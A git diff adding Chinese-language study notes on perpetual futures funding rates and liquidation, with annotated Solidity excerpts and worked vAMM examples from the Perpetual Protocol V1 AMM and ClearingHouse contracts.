+1. 期现套利所占用资金的成本，会同时影响期货的价格
+2. 实物交割导致了流动性割裂
+3. 实物交割可能诱发对市场的操纵活动
+
+## 永续合约
+
+永续合约由期货合约发展而来（永续期货合约），永续合约的目标函数（y = x）与期货合约完全相同，其与期货产品唯一的差别，便是采用了全新的价格锚定机制。
+
+永续合约便是彻底摒弃了实物交割机制，改为通过支付**资金费的方式**锚定目标价格，达到合约价格与现货价格的绑定。
+
+永续合约采用的锚定机制可以简化为以下三步：
+第一，由外部输入一个明确的目标价格 x（一般采用其他现货市场的现货成交价格）。
+
+第二，通过永续合约自己独立的保证金交易市场（订单簿式或 AMM），通过自由交易产生一个独立于目标价格 x 的合约价格 y。
+
+第三，添加一套激励与惩罚机制，如果合约价格 y 高于目标价格 x，便惩罚合约市场中的多头头寸，并将罚金作为奖励支付给持有空头头寸的用户，且价格偏离程度越大惩罚金额就越高。
+
+**这种由偏离目标价格一方向维持目标价格一方支付罚金的模式，便是我们一开始提到的永续合约的资金费制度**。通过这种奖惩措施，永续合约的设计者促使合约市场中价格偏离的一方进行调整，最终使得合约价格与目标价格趋同。从近几年的实际应用结果来看，这种新的锚定机制极好的保证了永续合约与目标价格的锚定。
+
+特点：
+
+1. 统一了市场的流动性
+2. 同样采用保证金制度，交易体验与传统期货相近
+3. 永续合约减弱了无风险利率的影响，更好地反应目标价格
+4. 创建永续合约不必再依赖于现货市场
+
+**资金费率**和**清算率**是永续协议的关键环节
+
+### 资金费率
+
+**资金费率**和**清算率**是永续协议的关键环节。
+
+**资金费用**机制是永续合约最主要的特点，它可以让永续合约**始终锚定现货价格。**
+
+```math
+资金费用 = 净仓位价值 × 资金费率
+```
+
+- 资金费率是正数，永续合约价格高于标记价格。因此，多方要支付资金费用给空方；
+- 资金费率是负数，永续合约价格低于标记价格。因此，空方要支付资金费用给多方。
+  资金费率是指基于永续合约市场价格与现货价格之间的价差。它可防止两个市场的价格持续出现偏差，它会在一天之内多次重新计算，部分合约交易平台每隔八个小时计算一次。
+
+资金费率由两部分组成：利率和溢价因子。 此费率旨在确保永续掉期合约的交易价格紧跟现货价格。
+
+永续掉期合约的价格相较于公平价格会有明显的溢价或折价。 在这种情况下，溢价指数将用于提高或降低下一个资金费率，使其符合目前掉期合约交易的水平。
+
+每种掉期合约的溢价指数可参阅相关合约的明细页面，它的计算如下：
+
+溢价指数 (P) = ( Max ( 0 , 深度加权买价 - 公平价格) - Max ( 0 , 公平价格 - 深度加权卖价)) / 现货价格 + 公平价格的合理基差
+
+**最终资金费率的计算**:
+
+资金费率 (F) = 溢价指数 (P) + clamp (利率 (I) - 溢价指数 (P), 0.05%, -0.05%)
+
+资金费率限额：即对资金费率进行封顶以确保可以使用最高杠杆。 为了做到这一点，我们加上了两个限制：
+
+1. 绝对的资金费率上限为 （起始保证金 - 维持保证金）的 75% 。 如果起始保证金为 1%，维持保证金为 0.5%，最大的资金率将为 75% \* (1%-0.5%) = 0.375%。
+
+2. 资金费率在资金间隔区间不得变化大于维持保证金的 75％。
+
+仓位价值与杠杆率无关。 例如，如果您持有 100 张 BTCUSD 合约，则将按照这些合约的名义价值收取或支付资金费用，而不是基于该仓位有多少保证金。
+
+全仓模式下：资金费用收取时，将直接从用户的已实现盈亏上扣除，至多扣除至用户保证金率等于维持保证金率+平仓手续费率，多余部分不再收取。
+
+逐仓模式下：资金费用收取时，将优先从用户的已实现盈亏上扣除，如果已实现盈亏不足，多余部分从用户持仓仓位的固定保证金上扣除，至多扣除至用户保证金率等于维持保证金率+平仓手续费率，多余部分不再收取。
+
+PERP 资金利率按小时结算，而清算比率被设定为保证金的 6.25%。这意味着，持仓低于 6.25%保证金比例的交易者将面临被看守机器人清算的风险。机器人将获得清算保证金的 20%，而剩余部分将被送到协议的保险基金。
+
+### 类型
+
+永续合约分正向合约与反向合约：
+
+**正向合约(U 本位合约)**，以 USDT 计算盈亏的合约。将 USDT 划转进合约账户开仓计算盈亏。  
+**反向合约(币本位合约)**，以 BTC、ETH 等数字资产为标的计算盈亏的合约。如 BTC 反向合约，用户将 BTC 转入合约账户开仓，平仓后以 BTC 的形式获得盈利，或付出损失。
+
+
+## 参考链接
+
+
+- 期货原理: <https://www.theblockbeats.com/news/25619>
+- perpetual: <https://zhuanlan.zhihu.com/p/395752324?utm_source=wechat_session&utm_medium=social&utm_oi=42064397991936&utm_campaign=shareopn>
+- dehedge: <https://www.dhedge.org/>
+- 官网文档: <https://docs.perp.fi/v/perpetual-protocol-jian-jie/>
+- deri: <https://mp.weixin.qq.com/s/Lffxvqt2lXbfXbMyTP-84w>
+- 永续合约: <https://zhuanlan.zhihu.com/p/354498449>
+- 合约算法: <https://zhuanlan.zhihu.com/p/354337880>
+- 合约算法: <https://www.zhihu.com/people/le-zhu-92-74>
+- 技术解析永续衍生品合约的一般原理: https://www.beechain.net/news/29251.html
+- deribit资金费率：https://legacy.deribit.com/pages/docs/perpetual
+- 永续合约的资金费率介绍： https://medium.com/derivadex/funding-rates-under-the-hood-352e6be83ab
diff --git a/defi/Perpetual-V1/contracts/AMM.md b/defi/Perpetual-V1/contracts/AMM.md
new file mode 100644
index 000000000..71de289ac
--- /dev/null
+++ b/defi/Perpetual-V1/contracts/AMM.md
@@ -0,0 +1,248 @@
+# Perpetual V1 AMM
+
+## IAMM
+
+```solidity
+// 交易方向
+enum Dir { ADD_TO_AMM, REMOVE_FROM_AMM }
+
+// ADD_TO_AMM, 开仓时将 quoteAsset（usdc）转换成 baseAsset（eth）
+
+function swapInput(
+    Dir _dir,
+    Decimal.decimal calldata _quoteAssetAmount,
+    Decimal.decimal calldata _baseAssetAmountLimit
+) external returns (Decimal.decimal memory);
+```
+
+```solidity
+//ADD_TO_AMM 关仓时候将 baseAsset（eth）转换成 quoteAsset（usdc）
+function swapOutput(
+    Dir _dir,
+    Decimal.decimal calldata _baseAssetAmount,
+    Decimal.decimal calldata _quoteAssetAmountLimit,
+    bool _skipFluctuationCheck
+) external returns (Decimal.decimal memory);
+```
+
+### view 方法
+
+- 获取池子当前的现货价格； reserveA/reserveB
+
+  - `function getSpotPrice() external view returns (Decimal.decimal memory);`
+
+- 获取池子当前的现货 TWAP 价格；
+
+  - `function getInputTwap(Dir _dir, Decimal.decimal calldata _quoteAssetAmount) external view returns (Decimal.decimal memory);`
+
+- 根据 TWAP 价格获取 quoteAsset 数量
+
+  ```solidity
+  function getOutputTwap(Dir _dir, Decimal.decimal calldata _baseAssetAmount)
+  external
+  view
+  returns (Decimal.decimal memory);
+  ```
+
+- 根据池子的储备以及 quoteAsset 的数量计算出 baseAsset 数量。 swapInput 的实现函数。
+
+  ```solidity
+  function getInputPriceWithReserves(
+    Dir _dir,
+    Decimal.decimal memory _quoteAssetAmount,
+    Decimal.decimal memory _quoteAssetPoolAmount,
+    Decimal.decimal memory _baseAssetPoolAmount
+  ) external pure returns (Decimal.decimal memory);
+  ```
+
+- 根据池子的储备以及 baseAsset 的数量计算出 quoteAsset 数量。 swapOutput 的实现函数。
+
+  ```solidity
+  function getOutputPriceWithReserves(
+    Dir _dir,
+    Decimal.decimal memory _baseAssetAmount,
+    Decimal.decimal memory _quoteAssetPoolAmount,
+    Decimal.decima l memory _baseAssetPoolAmount
+  ) external pure returns (Decimal.decimal memory);
+  ```
+
+- 计算 TWAP 价格(方便计算 pnl)，两种方式：
+
+  ```solidity
+  // RESERVE_ASSET means price comes from quoteAssetReserve/baseAssetReserve ， 即时价格
+  // INPUT_ASSET means getInput/Output price with snapshot's reserve //交易价格
+
+  function calcTwap(TwapPriceCalcParams memory _params, uint256 _interval);
+  ```
+
+- 计算持仓价值用 positionNotional， 以及未实现盈利 unrealizedPnl
+
+  ```math
+  unrealizedPnlForLongPosition = positionNotional - openNotional
+  ```
+
+### Event
+
+```solidity
+event SwapInput(Dir dir, uint256 quoteAssetAmount, uint256 baseAssetAmount);
+event SwapOutput(Dir dir, uint256 quoteAssetAmount, uint256 baseAssetAmount);
+
+event ReserveSnapshotted(uint256 quoteAssetReserve, uint256 baseAssetReserve, uint256 timestamp);
+event LiquidityChanged(uint256 quoteReserve, uint256 baseReserve, int256 cumulativeNotional);
+```
+
+### AMM 合约其他函数
+
+1. 初始化函数
+
+   ```solidity
+   function initialize(
+       uint256 \_quoteAssetReserve,
+       uint256 \_baseAssetReserve,
+       uint256 \_tradeLimitRatio,
+       uint256 \_fundingPeriod,
+       IPriceFeed \_priceFeed,
+       bytes32 \_priceFeedKey,
+       address \_quoteAsset,
+       uint256 \_fluctuationLimitRatio,
+       uint256 \_tollRatio,
+       uint256 \_spreadRatio
+   )
+   ```
+
+2. cumulativeNotional 即累加的\_quoteAssetAmount；
+
+   ```solidity
+   cumulativeNotional = cumulativeNotional.addD(\_quoteAssetAmount);
+   ```
+
+### settleFunding
+
+```solidity
+function settleFunding() external override onlyOpen onlyCounterParty returns (SignedDecimal.signedDecimal memory) {
+require(\_blockTimestamp() >= nextFundingTime, "settle funding too early");
+
+        // premium = twapMarketPrice - twapIndexPrice
+        // timeFraction = fundingPeriod(1 hour) / 1 day
+        // premiumFraction = premium * timeFraction
+        Decimal.decimal memory underlyingPrice = getUnderlyingTwapPrice(spotPriceTwapInterval);
+        SignedDecimal.signedDecimal memory premium =
+            MixedDecimal.fromDecimal(getTwapPrice(spotPriceTwapInterval)).subD(underlyingPrice);
+        SignedDecimal.signedDecimal memory premiumFraction = premium.mulScalar(fundingPeriod).divScalar(int256(1 days));
+
+        // update funding rate = premiumFraction / twapIndexPrice
+        updateFundingRate(premiumFraction, underlyingPrice);
+
+        // in order to prevent multiple funding settlement during very short time after network congestion
+        uint256 minNextValidFundingTime = _blockTimestamp().add(fundingBufferPeriod);
+
+        // floor((nextFundingTime + fundingPeriod) / 3600) * 3600
+        uint256 nextFundingTimeOnHourStart = nextFundingTime.add(fundingPeriod).div(1 hours).mul(1 hours);
+
+        // max(nextFundingTimeOnHourStart, minNextValidFundingTime)
+        nextFundingTime = nextFundingTimeOnHourStart > minNextValidFundingTime
+            ? nextFundingTimeOnHourStart
+            : minNextValidFundingTime;
+
+        // DEPRECATED only for backward compatibility before we upgrade ClearingHouse
+        // reset funding related states
+        baseAssetDeltaThisFundingPeriod = SignedDecimal.zero();
+
+        return premiumFraction;
+    }
+```
+
+### 查询 AMM 状态
+
+```solidity
+
+function getAmmStates(address \_amm) external view returns (AmmStates memory) {
+Amm amm = Amm(\_amm);
+(bool getSymbolSuccess, bytes memory quoteAssetSymbolData) =
+address(amm.quoteAsset()).staticcall(abi.encodeWithSignature("symbol()"));
+(Decimal.decimal memory quoteAssetReserve, Decimal.decimal memory baseAssetReserve) = amm.getReserve();
+
+        bytes32 priceFeedKey = amm.priceFeedKey();
+        return
+            AmmStates({
+                quoteAssetReserve: quoteAssetReserve.toUint(),
+                baseAssetReserve: baseAssetReserve.toUint(),
+                //每次交易最大比率
+                tradeLimitRatio: amm.tradeLimitRatio(),
+                // 资金费率周期
+                fundingPeriod: amm.fundingPeriod(),
+                //喂价
+                priceFeed: address(amm.priceFeed()),
+                //
+                priceFeedKey: priceFeedKey,
+                quoteAssetSymbol: getSymbolSuccess ? abi.decode(quoteAssetSymbolData, (string)) : "",
+                baseAssetSymbol: bytes32ToString(priceFeedKey)
+            });
+    }
+
+```
+
+### calcPositionAfterLiquidityMigration
+
+根据流动性变化计算仓位；
+
+```solidity
+function calcPositionAfterLiquidityMigration(
+    IAmm _amm,
+    Position memory _position,
+    uint256 _latestLiquidityIndex
+) internal view returns (Position memory) {
+    if (_position.size.toInt() == 0) {
+        _position.liquidityHistoryIndex = _latestLiquidityIndex;
+        return _position;
+    }
+
+    // get the change in Amm notional value
+    // notionalDelta = current cumulative notional - cumulative notional of last snapshot
+    IAmm.LiquidityChangedSnapshot memory lastSnapshot =
+        _amm.getLiquidityChangedSnapshots(_position.liquidityHistoryIndex);
+    SignedDecimal.signedDecimal memory notionalDelta =
+        _amm.getCumulativeNotional().subD(lastSnapshot.cumulativeNotional);
+
+    // update the old curve's reserve
+    // by applying notionalDelta to the old curve
+    Decimal.decimal memory updatedOldBaseReserve;
+    Decimal.decimal memory updatedOldQuoteReserve;
+    if (notionalDelta.toInt() != 0) {
+        Decimal.decimal memory baseAssetWorth =
+            _amm.getInputPriceWithReserves(
+                notionalDelta.toInt() > 0 ? IAmm.Dir.ADD_TO_AMM : IAmm.Dir.REMOVE_FROM_AMM,
+                notionalDelta.abs(),
+                lastSnapshot.quoteAssetReserve,
+                lastSnapshot.baseAssetReserve
+            );
+        updatedOldQuoteReserve = notionalDelta.addD(lastSnapshot.quoteAssetReserve).abs();
+        if (notionalDelta.toInt() > 0) {
+            updatedOldBaseReserve = lastSnapshot.baseAssetReserve.subD(baseAssetWorth);
+        } else {
+            updatedOldBaseReserve = lastSnapshot.baseAssetReserve.addD(baseAssetWorth);
+        }
+    } else {
+        updatedOldQuoteReserve = lastSnapshot.quoteAssetReserve;
+        updatedOldBaseReserve = lastSnapshot.baseAssetReserve;
+    }
+
+    // calculate the new position size
+    _position.size = _amm.calcBaseAssetAfterLiquidityMigration(
+        _position.size,
+        updatedOldQuoteReserve,
+        updatedOldBaseReserve
+    );
+    _position.liquidityHistoryIndex = _latestLiquidityIndex;
+
+    return _position;
+}
+```
+
+## TODO
+
+- Stake
+
+## Reference
+
+- 头等仓：<https://mp.weixin.qq.com/s/Oq7g3_AjRP4Of__K9Gp_bw>
diff --git a/defi/Perpetual-V1/contracts/ClearningHouse.md b/defi/Perpetual-V1/contracts/ClearningHouse.md
new file mode 100644
index 000000000..d770c64e5
--- /dev/null
+++ b/defi/Perpetual-V1/contracts/ClearningHouse.md
@@ -0,0 +1,641 @@
+# ClearningHouse
+
+- [Perpetual v1 白皮书](https://www.notion.so/Strike-Protocol-9049cc65e99246d886a230972d0cbd60)
+- [官方文档](https://docs.perp.fi/)
+
+
+### 核心原理
+
+在交易环节，以虚拟 AMM 定价，实际开仓/平仓的资金从资金池（Vault）进出，资金池中仅有 USDC 一种代币，开仓/平仓仅影响池中 USDC 数量；
+
+在清算环节，由 Chainlink 喂价，保证金率低于 6.5%时头寸将被清算，清算后的获利在保险基金与清算人之间分配。保险基金用于弥补行情剧烈波动时，平仓后穿仓的损失；
+
+Staking 提供者在 Perp 上不作为流动性提供者，仅仅是保险基金的初始提供者，承担保险基金赔付时的损失风险，同时享有手续费收入。
+
+### 设计方案
+- 没有流动性提供者
+- 基于AMM，没有订单薄
+- 价格只在看仓和平仓的时候变动
+
+vAMM 使用 AMM 的 x\*y=k 方式定价，但不实际进行两种货币的兑换，而是由 AMM 公式提供价格后，从资金池（Vault）进出资金以代替直接从 AMM 池进出资金，实现单一货币的多/空头寸在 Vault 的开仓和平仓。
+
+ **原理图**
+
+![How Perpetual Protocol Works](https://2133901215-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M4NnEO7A8AjB9r6SEz8%2F-MEzbmkp0i5M8z2Odm0u%2F-MEzdPlCoS9V8mFmcxY1%2F%E6%88%AA%E5%9C%96%202020-08-18%20%E4%B8%8A%E5%8D%8811.38.19.png?alt=media&token=a7df0ed0-bd4c-439e-b995-7101ecd34a78)
+
+
+首先假设 Vault 中原本有 10,000 USDC， eth/USDC= 100, 则 x=100，k=100 \* 10000
+
+1. Alice 用 100 U 以 2 倍开多仓后变化如下，
+   Alice 将 100U 存入 valut 中，Perpetual Protocol 将 Alice 的 200 vDAI（100 DAI 的 2 倍杠杆）记入 vAMM，作为回报，它根据常数函数 (x\*y = k) 计算 Alice 收到的 vETH 数量。
+   Perpetual Protocol 记录 Alice 现在有 1.96 vETH，并且这个 vAMM 内部的状态变成了 98.04 vETH 和 10200 vDAI。
+
+   | 动作                 | ETH   | USDC  | 计算             |
+   | :------------------- | :---- | :---- | :--------------- |
+   | 初始状态             | 100   | 10000 | -                |
+   | Alice 开了 1.96 多仓 | 98.04 | 10200 | 100\*10000/10200 |
+
+2. 同样，如果此时 Bob 继续注入 100 U 以 2 倍杠杆开多仓后，vAMM 公式将自动算出其持有多仓为 1.89 ETH；
+
+   | 动作                 | ETH   | USDC  | 计算                |
+   | :------------------- | :---- | :---- | :------------------ |
+   | Bob 开了 1.89 多仓   | 96.15 | 10400 | 98.04\*10200/10400  |
+   | Alice 平了 1.96 多仓 | 98.11 | 10192 | 96.15\*10400/98.115 |
+   | Bob 平了 1.89 多仓   | 100   | 10000 | 98.11\*10192/100    |
+
+3. 如果 David 以 100U 以 2 倍杠杆开空仓。David 100u 存入 valut，
+   Perpetual Protocol 将 David 的 -200 vDAI 记入 vAMM，作为回报，它根据常数函数 (x\*y = k) 计算 Bob 收到的负 vETH 的数量。  
+   Perpetual Protocol 记录 David 现在已经做空了 2.04 vETH，并且这个 vAMM 内部的状态现在变成了 102.04 vETH 和 9800 vDAI。
+
+   | 动作                 | ETH    | USDC  | 计算                |
+   | :------------------- | :----- | :---- | :------------------ |
+   | Bob 开了 1.89 多仓   | 96.15  | 10400 | 98.04\*10200/10400  |
+   | Alice 平了 1.96 多仓 | 98.11  | 10192 | 96.15\*10400/98.115 |
+   | Bob 平了 1.89 多仓   | 100    | 10000 | 98.11\*10192/100    |
+   | David 开了 2.04 空仓 | 102.04 | 9800  | 100\*10000/9800     |
+
+- vault 存放真实的 USDC，而 eth 为虚拟出来的（根据 K 值计算）
+- 做多则 eth 持仓为正，做空则 eth 持仓未负。 而池子数量一直为正，池子里为记账符号。
+- 从实质上看，按照 AMM 的含义，后买入者将比先买入者的成本更高，后卖出者将比先卖出者得到更低的对价（换回更少的 U），因此 Alice 获利而 Bob 损失，这一点在虚拟 AMM 中也同样体现。
+
+### 保证金率
+- 初始保证金率 10% ，决定了最大可开十倍杠杆
+- 维持保证金率 6.25% ，低于这个值会被清算
+
+>  marginRatio = (margin+ unrealizedPnl)/positionNotional
+
+未实现盈亏计算：
+
+```math
+openNotional = margin * lever
+
+positionNotional = positonSize * price
+
+unrealizedPnlForLongPosition = positionNotional - openNotional
+
+badDebt = realizedPnl + realizedFundingPayment + margin
+```
+
+另外计算名义头寸positionNotional时，用的price是标记价格。
+**如果标记价格跟指数价格差10%，则使用指数价格。**  
+
+计算 unrealizedPnlForLongPosition 使用的价格是标记价格和标记价格的15分钟TWAP计算，评估清算时，哪个值大取哪个。
+
+
+### 资金费率
+
+Perp 上提供的是永续合约，每 1 小时收取一次资金费，按照加密货币衍生品交易所 FTX 的规则进行计算，公式如下：
+> Funding Rate = (Premium / Index Price) / Funding Interval
+
+
+> FundingPayment（资金费）=PositionSize（仓位头寸）∗ FundingRate（资金费率）
+
+> $\ fundingRate = \frac{P_{perp}- P_{index}}{24}$
+如果fundingRate为正，perp价格高于场外价格，多头要给空头付资金费率；
+
+推荐一篇非常好的资金费率介绍文章：https://blog.perp.fi/block-based-funding-payment-on-perp-v2-35527094635e  
+
+### 清算
+
+当保证金比例下降到 6.25%或以下时，就会发生清算，这一规则即维持保证金（Maintenance Margin）。
+清算由清算人的机器人出发，作为清算的奖励，清算人获得 6.25%保证金中的 1.25%，其余最高 5%保证金存入协议保险基金。
+
+perp使用部分清算方案：假设及时平仓，只会将25%的仓位盈亏将变现，相应部分的名义仓位以及保证金将被平掉，剩余仓位保持不变。
+
+**如果价格波动快于强平，并且保证金率低于2.5%或者更低**，则会发生全部强平。
+
+```
+
+清算奖励：2.5%杠杆后仓位 
+其中1.25%分配给看护机（Keeper），1.25%分配给Insurance Fund
+
+发起条件
+杠杆后仓位=1000
+杠杆=2x
+保证金=500
+PnL=-440
+保证金率=（500-440）/1000=0.06
+
+清算后
+假设 positionNotionalliquidated = 300（具体数字取决于x*y=K的曲线）
+清算奖励：300*0.025 = 7.5
+保证金：500 - (440*0.25) - 7.5 = 382.5
+保证金率：(382.5 - 440*0.75) / (1000 - 300) = 0.075
+```
+
+
+### 保险基金
+
+Perp V1 协议赚取的交易费用，50%归 Staking 持币者，50%归入保险基金。当系统遭遇清算过程的损失和资金损失等意外损失是，保险基金将作为第一道防线首先支付这些损失。
+
+
+## 代码解析
+
+![The architecture of Perpetual Protocol with Ethereum as Layer 1 and xDai as Layer 2](https://2133901215-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M4NnEO7A8AjB9r6SEz8%2F-MKJQ2UYqbBSmsUPyzKJ%2F-MKJV3aT6EipkwlCfK6F%2Fa10717ebf37c74b014ac289cf5527a63eae621f3_2_1035x699.png?alt=media&token=74fedade-09d8-43d5-b8c9-e4f09995a86b)
+
+![contracts structure](https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F0d3bd42d-20e5-48c3-94a2-470e8150840c%2Fgastly-Overview.svg?table=block&id=34f2203d-4239-474b-aac9-11c88d96a776&spaceId=05f1ccc0-6ded-4692-8b7e-997dda52a8ba&userId=c99ee99e-3856-4e04-856b-3a2d5436ee79&cache=v2)
+
+核心合约是 `clearingHouse` 和 `AMM`
+
+几个关键变量：
+
+- spotprice: 池子两个 reserve 相除
+- margin: USDC 计（quoteAsset）
+- positionNotional: positionSize * spotPrice
+- exchangedPositionSize : (做多正，做空负)
+
+用户操作主要跟`clearingHouse`交互
+
+### ClearingHouse 合约解析
+
+ClearingHouse 合约则复杂些，其管理着所有⽤户的持仓状态，并且管理着所有保证金(兼具vault功能)。对⽤户来说，核⼼业务的⽅法也⽐较多，主要
+有：
+
+- openPosition：开仓
+- closePosition：平仓
+- addMargin：增加保证⾦
+- removeMargin：移除保证⾦
+- liquidate：清算
+
+个人持仓
+
+```solidity
+/// @notice This struct records personal position information
+/// @param size denominated in amm.baseAsset
+/// @param margin isolated margin
+/// @param openNotional the quoteAsset value of position when opening position. the cost of the position
+/// @param lastUpdatedCumulativePremiumFraction for calculating funding payment, record at the moment every time when trader open/reduce/close position
+/// @param liquidityHistoryIndex
+/// @param blockNumber the block number of the last position
+struct Position {
+    SignedDecimal.signedDecimal size;  //仓位大小，以baseToken计
+    Decimal.decimal margin;      // 保证金，quoteToken计
+    Decimal.decimal openNotional; //仓位的开仓USDC值, quoteAsset ， margin*lever
+    SignedDecimal.signedDecimal  lastUpdatedCumulativePremiumFraction;  //资金费率
+    uint256 liquidityHistoryIndex;     // 流动性指数
+    uint256 blockNumber;    // 块高
+}
+```
+
+```solidity
+struct PositionResp {
+    Position position;
+    // the quote asset amount trader will send if open position, will receive if close
+    Decimal.decimal exchangedQuoteAssetAmount;
+    // if realizedPnl + realizedFundingPayment + margin is negative, it's the abs value of it
+    Decimal.decimal badDebt;
+    // the base asset amount trader will receive if open position, will send if close
+    SignedDecimal.signedDecimal exchangedPositionSize;
+    // funding payment incurred during this position response
+    SignedDecimal.signedDecimal fundingPayment;
+    // realizedPnl = unrealizedPnl * closedRatio
+    SignedDecimal.signedDecimal realizedPnl;
+    // positive = trader transfer margin to vault, negative = trader receive margin from vault
+    // it's 0 when internalReducePosition, its addedMargin when internalIncreasePosition
+    // it's min(0, oldPosition + realizedFundingPayment + realizedPnl) when internalClosePosition
+    SignedDecimal.signedDecimal marginToVault;
+    // unrealized pnl after open position
+    SignedDecimal.signedDecimal unrealizedPnlAfter;
+}
+```
+
+#### 可配置参数
+
+- initMarginRatio
+- maintenanceMarginRatio
+- liquidationFeeRatio
+
+未实现盈亏计算：
+
+```math
+openNotional = margin * lever
+positionNotional = positonSize * price
+```
+
+```math
+unrealizedPnlForLongPosition = positionNotional - openNotional
+
+badDebt = realizedPnl + realizedFundingPayment + margin
+```
+
+仓位数据结构
+
+```solidity
+/// @notice This struct is used for avoiding stack too deep error when passing too many var between functions
+struct PositionResp {
+    Position position;
+    // the quote asset amount trader will send if open position, will receive if close
+    Decimal.decimal exchangedQuoteAssetAmount;
+    // if realizedPnl + realizedFundingPayment + margin is negative, it's the abs value of it
+    Decimal.decimal badDebt;
+    // the base asset amount trader will receive if open position, will send if close
+    SignedDecimal.signedDecimal exchangedPositionSize;
+    // funding payment incurred during this position response
+    SignedDecimal.signedDecimal fundingPayment;
+    // realizedPnl = unrealizedPnl * closedRatio
+    SignedDecimal.signedDecimal realizedPnl;
+    // positive = trader transfer margin to vault, negative = trader receive margin from vault
+    // it's 0 when internalReducePosition, its addedMargin when internalIncreasePosition
+    // it's min(0, oldPosition + realizedFundingPayment + realizedPnl) when internalClosePosition
+    SignedDecimal.signedDecimal marginToVault;
+    // unrealized pnl after open position
+    SignedDecimal.signedDecimal unrealizedPnlAfter;
+}
+```
+
+再看仓位变化后的一个 event：
+
+```solidity
+/// @notice This event is emitted when position change
+/// @param trader the address which execute this transaction
+/// @param amm IAmm address
+/// @param margin margin
+/// @param positionNotional margin * leverage
+/// @param exchangedPositionSize position size, e.g. ETHUSDC or LINKUSDC
+/// @param fee transaction fee
+/// @param positionSizeAfter position size after this transaction, might be increased or decreased
+/// @param realizedPnl realized pnl after this position changed
+/// @param unrealizedPnlAfter unrealized pnl after this position changed
+/// @param badDebt position change amount cleared by insurance funds
+/// @param liquidationPenalty amount of remaining margin lost due to liquidation
+/// @param spotPrice quote asset reserve / base asset reserve
+/// @param fundingPayment funding payment (+: trader paid, -: trader received)
+event PositionChanged(
+    address indexed trader,
+    address indexed amm,
+    uint256 margin,
+    //名义仓位  margin * leverage
+    uint256 positionNotional,
+    // 交易的仓位 ETHUSDC
+    int256 exchangedPositionSize,
+    uint256 fee,
+    int256 positionSizeAfter,
+    int256 realizedPnl,
+    int256 unrealizedPnlAfter,
+    uint256 badDebt,
+    uint256 liquidationPenalty,
+    // 池子的现货价格 quote asset reserve / base asset reserve
+    uint256 spotPrice,
+    int256 fundingPayment
+);
+```
+
+### 函数分析
+
+#### addMargin
+
+增加保证金以提高保证金率：
+
+将保证⾦追加到持仓单的 margin 字段⾥并更新持仓状态。之后将⽤户的资产划转到该合约中。无须做其他检查
+
+```solidity
+function addMargin(IAmm _amm, Decimal.decimal calldata _addedMargin) external whenNotPaused() nonReentrant() {
+    // check condition
+    requireAmm(_amm, true);
+    requireNonZeroInput(_addedMargin);
+    // 更改个人持仓 update margin part in personal position
+    address trader = _msgSender();
+    Position memory position = adjustPositionForLiquidityChanged(_amm, trader);
+    position.margin = position.margin.addD(_addedMargin);
+    setPosition(_amm, trader, position);
+    // 实际转账 transfer token from trader
+    _transferFrom(_amm.quoteAsset(), trader, address(this), _addedMargin);
+    emit MarginChanged(trader, address(_amm), int256(_addedMargin.toUint()), 0);
+}
+```
+
+#### removeMargin
+
+移除保证⾦则会判断其维持保证⾦是否⾜够，如果不⾜则不给移除。转账时，如果当前合约余额充⾜，则从当前合约转给⽤户；如果当前合约余额不⾜，则不⾜的部分会从保险基⾦中提取给到⽤户。
+
+步骤：
+
+1. 获取仓位，计算资金费率，检查是否有坏帐，并做CPF更新，具体在calcRemainMarginWithFundingPayment函数实现；
+2. 检查保证金率 MarginRatio 是否大于初始保证金率；计算名义持仓的方式，有三种： TWAP , 现价，或预言机价格；具体查看getMarginRatio函数。 
+```
+ marginRatio = (margin + funding payment + unrealized Pnl) / positionNotional
+```
+使用spot和twap价格计算unrealized Pnl， 最终谁高取谁。
+3. 从vault转账给用户，如果资金不够，则从InsuranceFund中取，并记录prepaidBadDebt字段。
+
+**计算资金费率**
+```
+Premium = Mark Price - Index Price
+Funding Rate = Premium / Index Price = (Mark - Index) / Index
+
+Position Value = Position Size * Index Price
+Funding Payment = Position Value * Funding Rate
+                = Position Size * Index * Premium / Index
+                = Position Size * Premium
+```
+
+#### openPosition
+
+开仓函数
+
+1. 开同向仓位 `internalIncreasePosition()`
+
+   - 仓位大小：`_quoteAssetAmount * _leverage`
+   - swapInput 将 USDC 换成 ETH，得到newSize
+   - 检查开仓大小，以及是否仓位是否超过最大仓位值
+   - 计算资金费率 `calcRemainMarginWithFundingPayment()`
+   - 获取新的名义持仓，计算未结盈亏（池子现价计算）`getPositionNotionalAndUnrealizedPnl`
+   - 更新用户仓位positionResp
+   - 检查用户的保证金率是否大于维持保证金率
+   - 转账
+
+2. 开反向仓位 `openReversePosition()`
+
+   - 先计算未结盈亏 unrealizedPnl；
+   - 比较 oldPositionNotional 旧名义仓位跟新开仓名义仓位 `_quoteAssetAmount * _leverage`大小
+   - 如果 oldPositionNotional 大于 openNotional：
+     先获取此仓位 exchangedPositionSize，根据 `realizedPnl = unrealizedPnl * closedRatio` 计算盈亏； 再计算 fundingfee； 根据老仓位的正负计算 remainOpenNotional，更新仓位
+   - 如果如果 oldPositionNotional 小于 openNotional：
+     则先内部关仓，再看仓位， closeAndOpenReversePosition；
+     剩余 openNotional:
+     `_quoteAssetAmount * _leverage - closePositionResp.exchangedQuoteAssetAmount;`
+   - 检查用户的保证金率是否大于维持保证金率
+   - 转保证金
+   - 转手续费 fee = spread + toll
+
+开仓时，会调⽤ AMM 的 `swapInput()` 进⾏虚拟兑换；平仓时，则调⽤ Amm 的 `swapOutput()`。另外，开仓和平仓时都会收取交易⼿续费，⼿续费会分为两部分，⼀部分会转⼊保险基⾦，即 `InsuranceFund` 合约，另⼀部分则会转⼊⼿续费池 feePool，即 `StakingReserve` 合约。
+
+```solidity
+function swapInput(
+    IAmm _amm,
+    Side _side,
+    Decimal.decimal memory _inputAmount,
+    Decimal.decimal memory _minOutputAmount,
+    bool _canOverFluctuationLimit
+) internal returns (SignedDecimal.signedDecimal memory) {
+    // for amm.swapInput, the direction is in quote asset, from the perspective of Amm
+    IAmm.Dir dir = (_side == Side.BUY) ? IAmm.Dir.ADD_TO_AMM : IAmm.Dir.REMOVE_FROM_AMM;
+    SignedDecimal.signedDecimal memory outputAmount =
+        MixedDecimal.fromDecimal(_amm.swapInput(dir, _inputAmount, _minOutputAmount, _canOverFluctuationLimit));
+    if (IAmm.Dir.REMOVE_FROM_AMM == dir) {
+        return outputAmount.mulScalar(-1);
+    }
